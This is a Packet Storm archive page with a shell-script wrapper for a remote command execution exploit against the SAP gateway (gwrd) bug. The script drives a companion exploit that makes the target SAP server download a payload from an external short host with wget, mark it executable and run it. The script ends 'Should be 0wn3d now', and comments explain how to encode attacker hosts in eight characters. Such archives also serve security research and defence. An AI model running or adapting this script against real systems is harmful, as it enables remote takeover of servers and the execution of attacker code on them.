exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

r3mote_unix_wrapper.sh.txt

r3mote_unix_wrapper.sh.txt
Posted Nov 14, 2006
Authored by Nicob

Linux port of the exploit for the gwrd bug in SAP versions below 4.6D patch 1767 and versions below 6.40 patch 4. Allows for remote command execution. Shell script version.

tags | exploit, remote, shell
systems | linux
SHA-256 | a55846c9b05cc9ff91e04c28793f07962b4beb73e490fe87b6e190bb5bb7e3fe

r3mote_unix_wrapper.sh.txt

Change Mirror Download
#!/bin/sh

# Variables

# Ultra short URL where is located our additional code
# Max length : 8 chars
SRC="zz.1.vg"

# Filename of the downloaded file
# Max length : 6 chars (because of "-O" in wget)
FILE="./..."

# Target SAP server IP
# No restriction ;-)
TARGET="192.168.201.11"

# Set to /bin/echo to debug
DEBUG=""

###########################################################
# Some $SRC tricks
#
# Max 8 characters can be used, so you can use with wget :
#
# - any IP in the range of 1.0.0.0-5.245.224.255
# - "wget 99999999" (IP 5.245.224.255)
# - any short hostname like 'zz.1.vg'
# - "wget zz.1.vg"
# - hex IP adress or int IP mixed with standard encoding
# - wget 10.0x311 (10.0.3.17)
# - wget 10.785 (10.0.3.17)
###########################################################

# Download, chmod and launch a script/binary of your choice

# Typical command exectuted server-side :
# wget zz.1.vg sapgw17 -Oabc GWHOST=cartman GWSERV=sapgw17 CONVID=-Oabc

$DEBUG echo "Downloading with wget ..."
$DEBUG ./r3mote_unix_UDPexec.pl wget $SRC -O$FILE $TARGET

$DEBUG sleep 120

$DEBUG echo "Chmod-ing the downloaded file ..."
$DEBUG ./r3mote_unix_UDPexec.pl chmod 755 $FILE $TARGET

$DEBUG sleep 2

$DEBUG echo "Executing the file ..."
$DEBUG ./r3mote_unix_UDPexec.pl $FILE xxx xxx $TARGET

$DEBUG echo "Should be 0wn3d now ..."


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close